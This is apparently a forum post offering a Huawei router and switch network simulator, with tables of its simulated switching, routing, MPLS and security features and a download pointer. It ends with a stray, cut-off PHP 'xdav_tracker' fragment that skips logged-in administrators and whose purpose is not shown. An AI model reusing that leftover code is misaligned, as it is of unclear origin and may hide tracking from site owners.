Hi all
Here is the network simulator for Huawei Routers and Switches that you can use if you want to start using huawei product , not so much to talk , it should be easy to install.
Simulation
- Simulates many functions and features of Huawei AR routers and x7 series switches.
- Simulates personal computers, hubs, clouds, and FR switches.
- Simulates device configuration functions, which helps you learn Huawei commands.
- Simulates large-sized networking.
- Uses real network cards to connect to real network devices.
- Simulates packet capture on interfaces to show protocol interaction process.
Graphic User Interface
- Creates, modifies, deletes, and saves topologies.
- Drags device icons and connects interfaces.
- Shows operating status of devices and interfaces using different colors.
- Stores many project cases for learning.
S37/S57 Simulated Features
| Feature | Sub-item | Description |
|---|---|---|
| Ethernet | VLAN | Global VLAN and interface VLAN |
| MAC | Automatic learning and aging of MAC addresses
Static, dynamic, and blackhole MAC address entries Packet filtering based on source MAC addresses Interface-based MAC learning limiting |
|
| ARP | ARP features | |
| ND | ND features and Ethernet IPv6 ARP | |
| Ethernet | Layer 3 Ethernet interfaces
Link aggregation |
|
| 802.3ah | 802.3ah protocol compliance | |
| Ethernet loop protection | MSTP | STP, RSTP, MSTP |
| RRPP | RRPP and Ethernet ring protection | |
| SmartLink | Smart Link, Smart Link multi-instance, Monitor Link | |
| SEP | SEP features and Ethernet semi-ring protection | |
| IPv4/IPv6 forwarding | Unicast routing | Static routing
Routing policies and policy-based routing RIP OSPF IS-IS BGP DHCP Client/Server/Relay DHCP snooping |
| Multicast routing | Multicast routing policy
IGMP PIM-DM PIM-SM MLD MSDP |
|
| IPv4/IPv6 protocol stack | IPv4/IPv6 address management, TCP/UDP socket, ICMP, ping and tracert, and UDP helper | |
| Device reliability | BFD | Basic BFD functions
BFD for OSPF BFD for IS-IS BFD for BGP BFD for PIM |
| VRRP | VRRP features | |
| MPLS&VPN | Basic MPLS | Static LSP, MPLS ingress/egress/transit, PHP, and LDP |
| L3VPN | BGP-based L3VPN connection | |
| IPv6 VPN | IPv6 VPN | |
| VPWS | VPWS features | |
| Security and management | System security | ACL filtering |
| Network management | SNMP |
AR Simulated Features
| Feature | Sub-item | Description |
|---|---|---|
| WAN connection | WAN interface | Ethernet interfaces and synchronous serial interface |
| Logical interface | Loopback interface, tunnel interface, and Ethernet sub-interface | |
| Link-layer protocol | PPP, FR, and HDLC | |
| IP application | ARP | Address resolution for Ethernet |
| IPv4 host | IPv4 address management, TCP/UDP socket, ICMP, ping and tracert, and UDP helper | |
| DNS | DNS client, DNS proxy, and dynamic DNS (DDNS) client | |
| VRRP | Redundancy backup mechanism for IP services | |
| BFD | Single-hop and multi-hop BFD, BFD for VRRP, BFD for BGP, and BFD for OSPF | |
| DHCP | DHCP client, DHCP relay, and DHCP server, and DHCP security | |
| IP routing | Routing policy | Basic routing functions |
| Static routing | Basic routing functions | |
| RIP | Routing protocols | |
| OSPF | Routing protocols | |
| ISIS | Routing protocols | |
| BGP | Routing protocols | |
| Multicast | Multicast routing | Multicast route management, multicast route load balancing, and source-specific multicast (SSM) mapping |
| IGMP | Basic IGMP | |
| PIM (IPv4) | PIM-DM and PIM-SM | |
| MSDP | Inter-domain (PIM-SM domain) multicast routing | |
| MPLS | Basic MPLS | Static label switched path (LSP), penultimate hop popping (PHP), and MPLS LSP QoS |
| MPLS LDP | MPLS LDP | |
| L3VPN | BGP-based L3VPN connection | |
| Security | ACL | Permit and deny actions |
| VPN | GRE VPN | Basic GRE functions |
| Network management | SNMP | SNMP agent, fault management (FM), and trap switch control (TSC) |
| NTP | Time synchronization for traditional IP networks |
you can download it from below link Here
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
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